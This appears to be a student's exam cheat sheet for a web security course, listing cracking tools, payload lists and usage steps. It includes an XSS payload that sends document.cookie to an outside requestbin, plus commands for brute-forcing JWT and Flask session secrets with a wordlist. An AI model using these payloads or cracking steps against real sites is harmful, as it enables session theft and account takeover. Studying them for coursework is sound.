General stuff

1. Fetch request format
    a. <script>fetch("https://our-requestbin.m.pipedream.net/?a=" + document.cookie)</script>

Request Listeners

1. https://pipedream.com/requestbin

Base 64 decode and encode

1. https://gchq.github.io/CyberChef/

Hash cracker

1. https://gchq.github.io/CyberChef/
2. https://crackstation.net/

Flask Token Decoder

Using Flask-unsign

https://github.com/Paradoxis/Flask-Unsign

- This is something we have installed on our computer so if you just go flask-unsign and then follow the instructions as shown in the link above should be able to bruteforce our way through to finding what the key is for this flask token

JWT Cracking with a word list

Using jwt-pwn

Note that this is a directory that we have cloned into our repository not something that has been installed on our device
Its located in COMP6443
To get the path of your wordlist put this in terminal readlink -f [name of file you're looking for]
To use the faster go version - navigate to the go-jwt-cracker file

2. go get
3. go build
4. ./go-jwt-cracker -wordlist /lists/rockyou.txt -token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.A9a5uGTT7nLIR6tFo7WuIyYPnamIq3uHOmVfYOhcPtQ

Payloadallthethings

https://github.com/payloadbox/sql-injection-payload-list - to read through for some general SQL payloads - note that we can't brute force to the site during this exam so you'll have to just read through and find what works

https://github.com/payloadbox/xss-payload-list - to read through for some general SQL payloads - note that we can't brute force to the site during this exam so you'll have to just read through and find what works

https://github.com/swisskyrepo/PayloadsAllTheThings - has payloads for things that we might need in the exam like Latex injections

John the ripper password cracker
https://www.freecodecamp.org/news/crack-passwords-using-john-the-ripper-pentesting-tutorial/